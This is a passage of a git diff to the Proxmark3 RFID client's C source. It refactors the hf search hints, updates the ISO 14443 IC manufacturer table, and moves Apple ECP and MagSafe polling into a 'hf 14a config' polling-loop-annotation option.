CmdFlashMemSpiFFSCheck, IfPm3Flash, "Check/try to defrag faulty/fragmented file system"}, {"dump", CmdFlashMemSpiFFSDump, IfPm3Flash, "Dump a file from SPIFFS file system"}, - {"info", CmdFlashMemSpiFFSInfo, IfPm3Flash, "Print file system info and usage statistics"}, + {"info", CmdFlashMemSpiFFSInfo, IfPm3Flash, "File system information and usage statistics"}, {"mount", CmdFlashMemSpiFFSMount, IfPm3Flash, "Mount the SPIFFS file system if not already mounted"}, {"remove", CmdFlashMemSpiFFSRemove, IfPm3Flash, "Remove a file from SPIFFS file system"}, {"rename", CmdFlashMemSpiFFSRename, IfPm3Flash, "Rename/move a file in SPIFFS file system"}, diff --git a/client/src/cmdhf.c b/client/src/cmdhf.c index 9414f1be7..13c10d863 100644 --- a/client/src/cmdhf.c +++ b/client/src/cmdhf.c @@ -83,7 +83,7 @@ int CmdHFSearch(const char *Cmd) { int res = PM3_ESOFT; - uint8_t success[20] = {0}; + uint8_t success[COUNT_OF_PROTOCOLS] = {0}; PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, " Searching for ThinFilm tag..."); @@ -231,60 +231,60 @@ int CmdHFSearch(const char *Cmd) { } */ + DropField(); + PROMPT_CLEARLINE; if (res != PM3_SUCCESS) { PrintAndLogEx(WARNING, _RED_("No known/supported 13.56 MHz tags found")); - res = PM3_ESOFT; - } else { - - // no need to print 14A hints, since it will print itself - - if (success[THINFILM]) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf thinfilm`") " commands\n"); - } - - if (success[LTO]) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf lto`") " commands\n"); - } - - if (success[LEGIC]) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf legic`") " commands\n"); - } - - if (success[TOPAZ]) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf topaz`") " commands\n"); - } - - if (success[PROTO_TEXKOM]) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf texkom`") " commands\n"); - } - - if (success[PROTO_XEROX]) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf xerox`") " commands\n"); - } - - if (success[ISO_14443B]) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf 14b`") " commands\n"); - } - - if (success[ISO_15693]) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf 15`") " commands\n"); - } - - if (success[ICLASS]) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf iclass`") " commands\n"); - } - - if (success[FELICA]) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf felica`") " commands\n"); - } - - if (success[PROTO_CRYPTORF]) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf cryptorf`") " commands\n"); - } + return res; + } + + // no need to print 14A hints, since it will print itself + + if (success[THINFILM]) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf thinfilm") "` commands\n"); + } + + if (success[LTO]) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf lto") "` commands\n"); + } + + if (success[LEGIC]) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf legic") "` commands\n"); + } + + if (success[TOPAZ]) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf topaz") "` commands\n"); + } + + if (success[PROTO_TEXKOM]) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf texkom") "` commands\n"); + } + + if (success[PROTO_XEROX]) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf xerox") "` commands\n"); + } + + if (success[ISO_14443B]) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf 14b") "` commands\n"); + } + + if (success[ISO_15693]) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf 15") "` commands\n"); + } + + if (success[ICLASS]) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf iclass") "` commands\n"); + } + + if (success[FELICA]) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf felica") "` commands\n"); + } + + if (success[PROTO_CRYPTORF]) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf cryptorf") "` commands\n"); } - DropField(); return res; } @@ -336,7 +336,7 @@ int CmdHFTune(const char *Cmd) { uint8_t mode[] = {1}; SendCommandNG(CMD_MEASURE_ANTENNA_TUNING_HF, mode, sizeof(mode)); if (WaitForResponseTimeout(CMD_MEASURE_ANTENNA_TUNING_HF, &resp, 1000) == false) { - PrintAndLogEx(WARNING, "Timeout while waiting for Proxmark HF initialization, aborting"); + PrintAndLogEx(WARNING, "timeout while waiting for Proxmark HF initialization, aborting"); return PM3_ETIMEOUT; } @@ -359,7 +359,7 @@ int CmdHFTune(const char *Cmd) { SendCommandNG(CMD_MEASURE_ANTENNA_TUNING_HF, mode, sizeof(mode)); if (WaitForResponseTimeout(CMD_MEASURE_ANTENNA_TUNING_HF, &resp, 1000) == false) { PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(WARNING, "Timeout while waiting for Proxmark HF measure, aborting"); + PrintAndLogEx(WARNING, "timeout while waiting for Proxmark HF measure, aborting"); break; } @@ -386,7 +386,7 @@ int CmdHFTune(const char *Cmd) { SendCommandNG(CMD_MEASURE_ANTENNA_TUNING_HF, mode, sizeof(mode)); if (WaitForResponseTimeout(CMD_MEASURE_ANTENNA_TUNING_HF, &resp, 1000) == false) { - PrintAndLogEx(WARNING, "Timeout while waiting for Proxmark HF shutdown, aborting"); + PrintAndLogEx(WARNING, "timeout while waiting for Proxmark HF shutdown, aborting"); return PM3_ETIMEOUT; } PrintAndLogEx(NORMAL, "\x1b%c[2K\r", 30); @@ -477,7 +477,7 @@ int CmdHFSniff(const char *Cmd) { if (kbd_enter_pressed()) { SendCommandNG(CMD_BREAK_LOOP, NULL, 0); - PrintAndLogEx(INFO, "User aborted"); + PrintAndLogEx(WARNING, "\naborted via keyboard!"); break; } @@ -498,9 +498,9 @@ int CmdHFSniff(const char *Cmd) { PrintAndLogEx(INFO, "HF sniff (%u samples)", retval->len); - PrintAndLogEx(HINT, "Use `" _YELLOW_("data hpf") "` to remove offset"); - PrintAndLogEx(HINT, "Use `" _YELLOW_("data plot") "` to view"); - PrintAndLogEx(HINT, "Use `" _YELLOW_("data save") "` to save"); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("data hpf") "` to remove offset"); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("data plot") "` to view"); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("data save") "` to save"); // download bigbuf_malloc:d. // it reserve memory from the higher end. @@ -516,7 +516,7 @@ int CmdHFSniff(const char *Cmd) { } } } - PrintAndLogEx(INFO, "Done."); + PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -526,7 +526,7 @@ int handle_hf_plot(bool show_plot) { PacketResponseNG resp; if (GetFromDevice(FPGA_MEM, buf, FPGA_TRACE_SIZE, 0, NULL, 0, &resp, 4000, true) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -600,7 +600,7 @@ static command_t CommandTable[] = { {"texkom", CmdHFTexkom, AlwaysAvailable, "{ Texkom RFIDs... }"}, {"thinfilm", CmdHFThinfilm, AlwaysAvailable, "{ Thinfilm RFIDs... }"}, {"topaz", CmdHFTopaz, AlwaysAvailable, "{ TOPAZ (NFC Type 1) RFIDs... }"}, - {"vas", CmdHFVAS, AlwaysAvailable, "{ Apple Value Added Service }"}, + {"vas", CmdHFVAS, AlwaysAvailable, "{ Apple Value Added Service... }"}, #ifdef HAVE_GD {"waveshare", CmdHFWaveshare, AlwaysAvailable, "{ Waveshare NFC ePaper... }"}, #endif diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index 8574226fa..42bee9388 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -43,6 +43,8 @@ #include "mifare/desfirecore.h" // desfire context #include "mifare/mifaredefault.h" #include "preferences.h" // get/set device debug level +#include "pm3_cmd.h" + static bool g_apdu_in_framing_enable = true; bool Get_apdu_in_framing(void) { @@ -56,34 +58,7 @@ static int CmdHelp(const char *Cmd); static int waitCmd(bool i_select, uint32_t timeout, bool verbose); -static const iso14a_polling_frame_t WUPA_FRAME = { - { 0x52 }, 1, 7, 0, -}; - -static const iso14a_polling_frame_t MAGWUPA1_FRAME = { - { 0x7A }, 1, 7, 0 -}; - -static const iso14a_polling_frame_t MAGWUPA2_FRAME = { - { 0x7B }, 1, 7, 0 -}; - -static const iso14a_polling_frame_t MAGWUPA3_FRAME = { - { 0x7C }, 1, 7, 0 -}; - -static const iso14a_polling_frame_t MAGWUPA4_FRAME = { - { 0x7D }, 1, 7, 0 -}; - -static const iso14a_polling_frame_t ECP_FRAME = { - .frame = { 0x6a, 0x02, 0xC8, 0x01, 0x00, 0x03, 0x00, 0x02, 0x79, 0x00, 0x00, 0x00, 0x00, 0xC2, 0xD8}, - .frame_length = 15, - .last_byte_bits = 8, - .extra_delay = 0 -}; - - +// based on ISO/IEC JTC1/SC17 STANDING DOCUMENT 5 (Updated 20 September 2024) Register of IC manufacturers static const manufactureName_t manufactureMapping[] = { // ID, "Vendor Country" { 0x01, "Motorola UK" }, @@ -103,12 +78,12 @@ static const manufactureName_t manufactureMapping[] = { { 0x0F, "Hynix / Hyundai, Korea" }, { 0x10, "LG-Semiconductors Co. Ltd Korea" }, { 0x11, "Emosyn-EM Microelectronics USA" }, - { 0x12, "INSIDE Technology France" }, + { 0x12, "Wisekey Semiconductors (previously INSIDE Technology) France" }, { 0x13, "ORGA Kartensysteme GmbH Germany" }, { 0x14, "SHARP Corporation Japan" }, { 0x15, "ATMEL France" }, { 0x16, "EM Microelectronic-Marin SA Switzerland" }, - { 0x17, "KSW Microtec GmbH Germany" }, + { 0x17, "SMARTRAC TECHNOLOGY GmbH Germany" }, { 0x18, "ZMD AG Germany" }, { 0x19, "XICOR, Inc. USA" }, { 0x1A, "Sony Corporation Japan" }, @@ -124,7 +99,7 @@ static const manufactureName_t manufactureMapping[] = { { 0x24, "Masktech Germany Gmbh Germany" }, { 0x25, "Innovision Research and Technology Plc UK" }, { 0x26, "Hitachi ULSI Systems Co., Ltd. Japan" }, - { 0x27, "Cypak AB Sweden" }, + { 0x27, "Yubico AB Sweden" }, { 0x28, "Ricoh Japan" }, { 0x29, "ASK France" }, { 0x2A, "Unicore Microsystems, LLC Russian Federation" }, @@ -140,7 +115,7 @@ static const manufactureName_t manufactureMapping[] = { { 0x34, "Mikron JSC Russia" }, { 0x35, "Fraunhofer Institute for Photonic Microsystems Germany" }, { 0x36, "IDS Microchip AG Switzerland" }, - { 0x37, "Thinfilm - Kovio USA" }, + { 0x37, "Kovio USA" }, { 0x38, "HMT Microelectronic Ltd Switzerland" }, { 0x39, "Silicon Craft Technology Thailand" }, { 0x3A, "Advanced Film Device Inc. Japan" }, @@ -149,12 +124,12 @@ static const manufactureName_t manufactureMapping[] = { { 0x3D, "HID Global USA" }, { 0x3E, "Productivity Engineering Gmbh Germany" }, { 0x3F, "Austriamicrosystems AG (reserved) Austria" }, - { 0x40, "Gemalto SA France" }, + { 0x40, "Thales DIS (previously Gemalto SA) France" }, { 0x41, "Renesas Electronics Corporation Japan" }, { 0x42, "3Alogics Inc Korea" }, { 0x43, "Top TroniQ Asia Limited Hong Kong" }, { 0x44, "Gentag Inc. USA" }, - { 0x45, "Invengo Information Technology Co.Ltd China" }, + { 0x45, "Invengo Information Technology Co. Ltd China" }, { 0x46, "Guangzhou Sysur Microelectronics, Inc China" }, { 0x47, "CEITEC S.A. Brazil" }, { 0x48, "Shanghai Quanray Electronics Co. Ltd. China" }, @@ -165,7 +140,7 @@ static const manufactureName_t manufactureMapping[] = { { 0x4D, "Balluff GmbH Germany" }, { 0x4E, "Oberthur Technologies France" }, { 0x4F, "Silterra Malaysia Sdn. Bhd. Malaysia" }, - { 0x50, "DELTA Danish Electronics, Light & Acoustics Denmark" }, + { 0x50, "Presto Engineering Denmark" }, { 0x51, "Giesecke & Devrient GmbH Germany" }, { 0x52, "Shenzhen China Vision Microelectronics Co., Ltd. China" }, { 0x53, "Shanghai Feiju Microelectronics Co. Ltd. China" }, @@ -185,18 +160,57 @@ static const manufactureName_t manufactureMapping[] = { { 0x61, "Wearlinks Technology Inc. China" }, { 0x62, "Userstar Information Systems Co., Ltd Taiwan" }, { 0x63, "Pragmatic Printing Ltd. UK" }, - { 0x64, "Associacao do Laboratorio de Sistemas Integraveis Tecnologico - LSI-TEC Brazil" }, + { 0x64, "Associação do Laboratório de Sistemas Integráveis Tecnológico - LSI-TEC Brazil" }, { 0x65, "Tendyron Corporation China" }, { 0x66, "MUTO Smart Co., Ltd. Korea" }, { 0x67, "ON Semiconductor USA" }, - { 0x68, "TUBITAK BILGEM Turkey" }, + { 0x68, "TÜBITAK BILGEM Turkey" }, // Don't use "İ", Proxspace doesn't like it { 0x69, "Huada Semiconductor Co., Ltd China" }, { 0x6A, "SEVENEY France" }, - { 0x6B, "ISSM France" }, + { 0x6B, "THALES DIS Design Services SAS (previously ISSM) France" }, { 0x6C, "Wisesec Ltd Israel" }, + { 0x6D, "LTD \"NM-Teh\" Russia" }, + { 0x70, "ifm electronic gmbh Germany" }, + { 0x71, "Sichuan Kiloway Technologies Co., Ltd. China" }, + { 0x72, "Ford Motor Company US" }, + { 0x73, "Beijing Tsingteng MicroSystem Co.,Ltd China" }, + { 0x74, "Huada EverCore Co., Ltd China" }, + { 0x75, "Smartchip Microelectronics Corporation Taiwan" }, + { 0x76, "Tongxin Microelectronics Co., Ltd. China" }, + { 0x77, "Ningbo IOT Microelectronics Co Ltd China" }, + { 0x78, "AU Optronics Taiwan" }, + { 0x79, "CUBIC USA" }, + { 0x7A, "Abbott Diabetes Care USA" }, + { 0x7B, "Shenzen Nation RFID Technology Co Ltd China" }, { 0x7C, "DB HiTek Co Ltd Korea" }, { 0x7D, "SATO Vicinity Australia" }, { 0x7E, "Holtek Taiwan" }, + // Previously, following entries were listed in the doc as 0x7f, 0x80 etc. + // Now, they are listed as 'FF 00', 'FF 01',... + { 0x7F, "Shenzhen Goodix Technology Co., Ltd. China" }, + { 0x80, "Panthronics AG Austria" }, + { 0x81, "Beijing Huada Infosec Technology Co., Ltd China" }, + { 0x82, "Shanghai Oriental Magnetic Card Engineering Co Ltd. China" }, + { 0x83, "8ApeX Inc USA" }, + { 0x84, "Abbott Ireland" }, + { 0x85, "Proqure Inc USA" }, + { 0x86, "Schreiner Group GmbH & Co. KG Germany" }, + { 0x87, "Beijing SmartChip Microelectronics Technology Company Limited China" }, + { 0x88, "Datang Microelectronics Technology Co., Ltd. China" }, + { 0x89, "Wise Security Technology (Guangzhou) Co., Ltd. China" }, + { 0x8A, "CEC Huada Electronic Design Co., Ltd. China" }, + { 0x8B, "Shanghai Techsun RFID Technology Co., Ltd. China" }, + { 0x8C, "North China Institute of Computing Technology China" }, + { 0x8D, "Shanghai Huahong Integrated Circuit Co., Ltd. China" }, + { 0x8E, "Shanghai MintSilicon Microelectronics Inc., Ltd. China" }, + { 0x8F, "Xinsheng Technology Co., Ltd. China" }, + { 0x90, "IDEX Biometrics ASA Norway" }, + { 0x91, "Novo Nordisk A/S Denmark" }, + { 0x92, "Shandong Huayi Micro-Electronics Technology Co., Ltd. China" }, + { 0x93, "Abbott Heart Failure USA" }, + { 0x94, "P&M Information Technology (Shenzhen) Co., Ltd. China" }, + { 0x95, "MARS TECHNOLOGY PTE. LTD. Singapore" }, + { 0x96, "Trovan Limited Isle of Man" }, { 0x00, "no tag-info available" } // must be the last entry }; @@ -232,15 +246,59 @@ static uint16_t gs_frame_len = 0; static uint8_t gs_frames_num = 0; static uint16_t atsFSC[] = {16, 24, 32, 40, 48, 64, 96, 128, 256}; +int hf14a_getversion_data(iso14a_card_select_t *card, uint64_t select_status, version_hw_t *hw) { + + // field on, card selected if select_status is 1 or 4, not selected if 2 + int res = PM3_EFAILED; + + // if 4b UID or NXP, try to get version + if ((card->uidlen == 4) || ((card->uidlen == 7) && (card->uid[0] == 0x04))) { + // GetVersion + if ((select_status == 1) || (select_status == 4)) { // L4 + + uint8_t response[PM3_CMD_DATA_SIZE] = {0}; + int resp_len = 0; + uint8_t getVersion[5] = {0x90, 0x60, 0x00, 0x00, 0x00}; + res = ExchangeAPDU14a(getVersion, sizeof(getVersion), false, false, response, sizeof(response), &resp_len); + DropField(); + + if (res == PM3_ETIMEOUT) { + PrintAndLogEx(DEBUG, "iso14443a card select timeout"); + return PM3_ETIMEOUT; + } + + if (resp_len == 9) { + memcpy(hw, response, sizeof(version_hw_t)); + return PM3_SUCCESS; + } + return PM3_EFAILED; + + } + + // select_status = 2, L3 + uint8_t version[8] = {0}; + uint8_t uid[7] = {0}; + res = mfu_get_version_uid(version, uid); + DropField(); + if (res == PM3_SUCCESS) { + memcpy(hw, version + 1, sizeof(version_hw_t)); + } + } + + DropField(); + return res; +} + static int CmdHF14AList(const char *Cmd) { return CmdTraceListAlias(Cmd, "hf 14a", "14a -c"); } -int hf14a_getconfig(hf14a_config *config) { +int hf14a_getconfig(hf14a_config_t *config) { if (!g_session.pm3_present) return PM3_ENOTTY; - if (config == NULL) + if (config == NULL) { return PM3_EINVARG; + } clearCommandBuffer(); @@ -250,16 +308,16 @@ int hf14a_getconfig(hf14a_config *config) { PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } - memcpy(config, resp.data.asBytes, sizeof(hf14a_config)); + memcpy(config, resp.data.asBytes, sizeof(hf14a_config_t)); return PM3_SUCCESS; } -int hf14a_setconfig(hf14a_config *config, bool verbose) { +int hf14a_setconfig(hf14a_config_t *config, bool verbose) { if (!g_session.pm3_present) return PM3_ENOTTY; clearCommandBuffer(); if (config != NULL) { - SendCommandNG(CMD_HF_ISO14443A_SET_CONFIG, (uint8_t *)config, sizeof(hf14a_config)); + SendCommandNG(CMD_HF_ISO14443A_SET_CONFIG, (uint8_t *)config, sizeof(hf14a_config_t)); if (verbose) { SendCommandNG(CMD_HF_ISO14443A_PRINT_CONFIG, NULL, 0); } @@ -292,6 +350,15 @@ static int hf_14a_config_example(void) { PrintAndLogEx(NORMAL, _YELLOW_(" hf 14a config --atqa force --bcc ignore --cl2 force --cl3 skip -rats skip")); PrintAndLogEx(NORMAL, _YELLOW_(" hf mfu setuid --uid 04112233445566")); PrintAndLogEx(NORMAL, _YELLOW_(" hf 14a config --std")); + + PrintAndLogEx(NORMAL, "\nExamples of polling loop annotations used to enable anticollision on mobile targets:"); + PrintAndLogEx(NORMAL, _CYAN_(" ECP Express Transit EMV")":"); + PrintAndLogEx(NORMAL, _YELLOW_(" hf 14a config --pla 6a02c801000300027900000000")); + PrintAndLogEx(NORMAL, _CYAN_(" ECP VAS Only")":"); + PrintAndLogEx(NORMAL, _YELLOW_(" hf 14a config --pla 6a01000002")); + PrintAndLogEx(NORMAL, _CYAN_(" ECP Access Wildcard")":"); + PrintAndLogEx(NORMAL, _YELLOW_(" hf 14a config --pla 6a02c3020002ffff")); + return PM3_SUCCESS; } static int CmdHf14AConfig(const char *Cmd) { @@ -300,25 +367,28 @@ static int CmdHf14AConfig(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf 14a config", "Configure 14a settings (use with caution)\n" - " `-v` also prints examples for reviving Gen2 cards", - "hf 14a config -> Print current configuration\n" - "hf 14a config --std -> Reset default configuration (follow standard)\n" - "hf 14a config --atqa std -> Follow standard\n" - "hf 14a config --atqa force -> Force execution of anticollision\n" - "hf 14a config --atqa skip -> Skip anticollision\n" - "hf 14a config --bcc std -> Follow standard\n" - "hf 14a config --bcc fix -> Fix bad BCC in anticollision\n" - "hf 14a config --bcc ignore -> Ignore bad BCC and use it as such\n" - "hf 14a config --cl2 std -> Follow standard\n" - "hf 14a config --cl2 force -> Execute CL2\n" - "hf 14a config --cl2 skip -> Skip CL2\n" - "hf 14a config --cl3 std -> Follow standard\n" - "hf 14a config --cl3 force -> Execute CL3\n" - "hf 14a config --cl3 skip -> Skip CL3\n" - "hf 14a config --rats std -> Follow standard\n" - "hf 14a config --rats force -> Execute RATS\n" - "hf 14a config --rats skip -> Skip RATS"); - + " `-v` also prints examples for reviving Gen2 cards & configuring polling loop annotations", + "hf 14a config -> Print current configuration\n" + "hf 14a config --std -> Reset default configuration (follow standard)\n" + "hf 14a config --atqa std -> Follow standard\n" + "hf 14a config --atqa force -> Force execution of anticollision\n" + "hf 14a config --atqa skip -> Skip anticollision\n" + "hf 14a config --bcc std -> Follow standard\n" + "hf 14a config --bcc fix -> Fix bad BCC in anticollision\n" + "hf 14a config --bcc ignore -> Ignore bad BCC and use it as such\n" + "hf 14a config --cl2 std -> Follow standard\n" + "hf 14a config --cl2 force -> Execute CL2\n" + "hf 14a config --cl2 skip -> Skip CL2\n" + "hf 14a config --cl3 std -> Follow standard\n" + "hf 14a config --cl3 force -> Execute CL3\n" + "hf 14a config --cl3 skip -> Skip CL3\n" + "hf 14a config --rats std -> Follow standard\n" + "hf 14a config --rats force -> Execute RATS\n" + "hf 14a config --rats skip -> Skip RATS\n" + "hf 14a config --mag on -> Enable Apple magsafe polling\n" + "hf 14a config --mag off -> Disable Apple magsafe polling\n" + "hf 14a config --pla -> Set polling loop annotation (max 22 bytes)\n" + "hf 14a config --pla off -> Disable polling loop annotation\n"); void *argtable[] = { arg_param_begin, arg_str0(NULL, "atqa", "", "Configure ATQA<>anticollision behavior"), @@ -326,14 +396,18 @@ static int CmdHf14AConfig(const char *Cmd) { arg_str0(NULL, "cl2", "", "Configure SAK<>CL2 behavior"), arg_str0(NULL, "cl3", "", "Configure SAK<>CL3 behavior"), arg_str0(NULL, "rats", "", "Configure RATS behavior"), + arg_str0(NULL, "mag", "", "Configure Apple MagSafe polling"), + arg_str0(NULL, "pla", "", "Configure polling loop annotation"), arg_lit0(NULL, "std", "Reset default configuration: follow all standard"), arg_lit0("v", "verbose", "verbose output"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); - bool defaults = arg_get_lit(ctx, 6); + bool defaults = arg_get_lit(ctx, 8); + bool verbose = arg_get_lit(ctx, 9); + int vlen = 0; - char value[10]; + char value[64]; int atqa = defaults ? 0 : -1; CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)value, sizeof(value), &vlen); if (vlen > 0) { @@ -394,12 +468,62 @@ static int CmdHf14AConfig(const char *Cmd) { return PM3_EINVARG; } } + int magsafe = defaults ? 0 : -1; + CLIParamStrToBuf(arg_get_str(ctx, 6), (uint8_t *)value, sizeof(value), &vlen); + if (vlen > 0) { + if (strcmp(value, "std") == 0) magsafe = 0; + else if (strcmp(value, "skip") == 0) magsafe = 0; + else if (strcmp(value, "disable") == 0) magsafe = 0; + else if (strcmp(value, "off") == 0) magsafe = 0; + else if (strcmp(value, "enable") == 0) magsafe = 1; + else if (strcmp(value, "on") == 0) magsafe = 1; + else { + PrintAndLogEx(ERR, "magsafe argument must be 'std', 'skip', 'off', 'disable', 'on' or 'enable'"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + } + // Handle polling loop annotation parameter + iso14a_polling_frame_t pla = { + // 0 signals that PLA has to be disabled, -1 signals that no change has to be made + .frame_length = defaults ? 0 : -1, + .last_byte_bits = 8, + .extra_delay = 5 + }; + CLIParamStrToBuf(arg_get_str(ctx, 7), (uint8_t *)value, sizeof(value), &vlen); + if (vlen > 0) { + if (strncmp((char *)value, "std", 3) == 0) pla.frame_length = 0; + else if (strncmp((char *)value, "skip", 4) == 0) pla.frame_length = 0; + else if (strncmp((char *)value, "disable", 3) == 0) pla.frame_length = 0; + else if (strncmp((char *)value, "off", 3) == 0) pla.frame_length = 0; + else { + // Convert hex string to bytes + int length = 0; + if (param_gethex_to_eol((char *)value, 0, pla.frame, sizeof(pla.frame), &length) != 0) { + PrintAndLogEx(ERR, "Error parsing polling loop annotation bytes"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + pla.frame_length = length; - bool verbose = arg_get_lit(ctx, 7); + // Validate length before adding CRC + if (pla.frame_length < 1 || pla.frame_length > 22) { + PrintAndLogEx(ERR, "Polling loop annotation length invalid: min %d; max %d", 1, 22); + CLIParserFree(ctx); + return PM3_EINVARG; + } + + uint8_t first, second; + compute_crc(CRC_14443_A, pla.frame, pla.frame_length, &first, &second); + pla.frame[pla.frame_length++] = first; + pla.frame[pla.frame_length++] = second; + PrintAndLogEx(INFO, "Added CRC16A to polling loop annotation: %s", sprint_hex(pla.frame, pla.frame_length)); + } + } CLIParserFree(ctx); - // validations + // Handle empty command if (strlen(Cmd) == 0) { return hf14a_setconfig(NULL, verbose); } @@ -408,12 +532,15 @@ static int CmdHf14AConfig(const char *Cmd) { hf_14a_config_example(); } - hf14a_config config = { + // Initialize config with all parameters + hf14a_config_t config = { .forceanticol = atqa, .forcebcc = bcc, .forcecl2 = cl2, .forcecl3 = cl3, - .forcerats = rats + .forcerats = rats, + .magsafe = magsafe, + .polling_loop_annotation = pla }; return hf14a_setconfig(&config, verbose); @@ -457,26 +584,30 @@ int Hf14443_4aGetCardData(iso14a_card_select_t *card) { SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); PacketResponseNG resp; - WaitForResponse(CMD_ACK, &resp); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + memcpy(card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); uint64_t select_status = resp.oldarg[0]; // 0: couldn't read, 1: OK, with ATS, 2: OK, no ATS, 3: proprietary Anticollision if (select_status == 0) { - PrintAndLogEx(ERR, "E->iso14443a card select failed"); + PrintAndLogEx(ERR, "iso14443a card select failed"); return PM3_EFAILED; } if (select_status == 2) { - PrintAndLogEx(ERR, "E->Card doesn't support iso14443-4 mode"); + PrintAndLogEx(ERR, "Card doesn't support iso14443-4 mode"); return PM3_EFAILED; } if (select_status == 3) { - PrintAndLogEx(INFO, "E->Card doesn't support standard iso14443-3 anticollision"); + PrintAndLogEx(INFO, "Card doesn't support standard iso14443-3 anticollision"); // identify TOPAZ if (card->atqa[1] == 0x0C && card->atqa[0] == 0x00) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf topaz info`")); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf topaz info`")); } else { PrintAndLogEx(SUCCESS, "\tATQA : %02X %02X", card->atqa[1], card->atqa[0]); } @@ -489,7 +620,7 @@ int Hf14443_4aGetCardData(iso14a_card_select_t *card) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes if (card->ats_len < 3) { - PrintAndLogEx(INFO, "E-> Error ATS length(%d) : %s", card->ats_len, sprint_hex(card->ats, card->ats_len)); + PrintAndLogEx(INFO, "Error ATS length(%d) : %s", card->ats_len, sprint_hex(card->ats, card->ats_len)); return PM3_ECARDEXCHANGE; } @@ -501,48 +632,12 @@ int Hf14443_4aGetCardData(iso14a_card_select_t *card) { return PM3_SUCCESS; } -iso14a_polling_parameters_t iso14a_get_polling_parameters(bool use_ecp, bool use_magsafe) { - // Extra 100ms give enough time for Apple (ECP) devices to proccess field info and make a decision - - if (use_ecp && use_magsafe) { - iso14a_polling_parameters_t full_polling_parameters = { - .frames = { WUPA_FRAME, ECP_FRAME, MAGWUPA1_FRAME, MAGWUPA2_FRAME, MAGWUPA3_FRAME, MAGWUPA4_FRAME }, - .frame_count = 6, - .extra_timeout = 100 - }; - return full_polling_parameters; - } else if (use_ecp) { - iso14a_polling_parameters_t ecp_polling_parameters = { - .frames = { WUPA_FRAME, ECP_FRAME }, - .frame_count = 2, - .extra_timeout = 100 - }; - return ecp_polling_parameters; - } else if (use_magsafe) { - iso14a_polling_parameters_t magsafe_polling_parameters = { - .frames = { WUPA_FRAME, MAGWUPA1_FRAME, MAGWUPA2_FRAME, MAGWUPA3_FRAME, MAGWUPA4_FRAME }, - .frame_count = 5, - .extra_timeout = 0 - }; - return magsafe_polling_parameters; - } - - iso14a_polling_parameters_t wupa_polling_parameters = { - .frames = { WUPA_FRAME }, - .frame_count = 1, - .extra_timeout = 0, - }; - return wupa_polling_parameters; -} - static int CmdHF14AReader(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf 14a reader", "Act as a ISO-14443a reader to identify tag. Look for ISO-14443a tags until Enter or the pm3 button is pressed", "hf 14a reader\n" "hf 14a reader -@ -> Continuous mode\n" - "hf 14a reader --ecp -> trigger apple enhanced contactless polling\n" - "hf 14a reader --mag -> trigger apple magsafe polling\n" ); void *argtable[] = { @@ -551,9 +646,8 @@ static int CmdHF14AReader(const char *Cmd) { arg_lit0("s", "silent", "silent (no messages)"), arg_lit0(NULL, "drop", "just drop the signal field"), arg_lit0(NULL, "skip", "ISO14443-3 select only (skip RATS)"), - arg_lit0(NULL, "ecp", "Use enhanced contactless polling"), - arg_lit0(NULL, "mag", "Use Apple magsafe polling"), arg_lit0("@", NULL, "continuous reader mode"), + arg_lit0("w", "wait", "wait for card"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -574,19 +668,11 @@ static int CmdHF14AReader(const char *Cmd) { cm |= ISO14A_NO_RATS; } - bool use_ecp = arg_get_lit(ctx, 5); - bool use_magsafe = arg_get_lit(ctx, 6); - - iso14a_polling_parameters_t *polling_parameters = NULL; - iso14a_polling_parameters_t parameters = iso14a_get_polling_parameters(use_ecp, use_magsafe); - if (use_ecp || use_magsafe) { - cm |= ISO14A_USE_CUSTOM_POLLING; - polling_parameters = 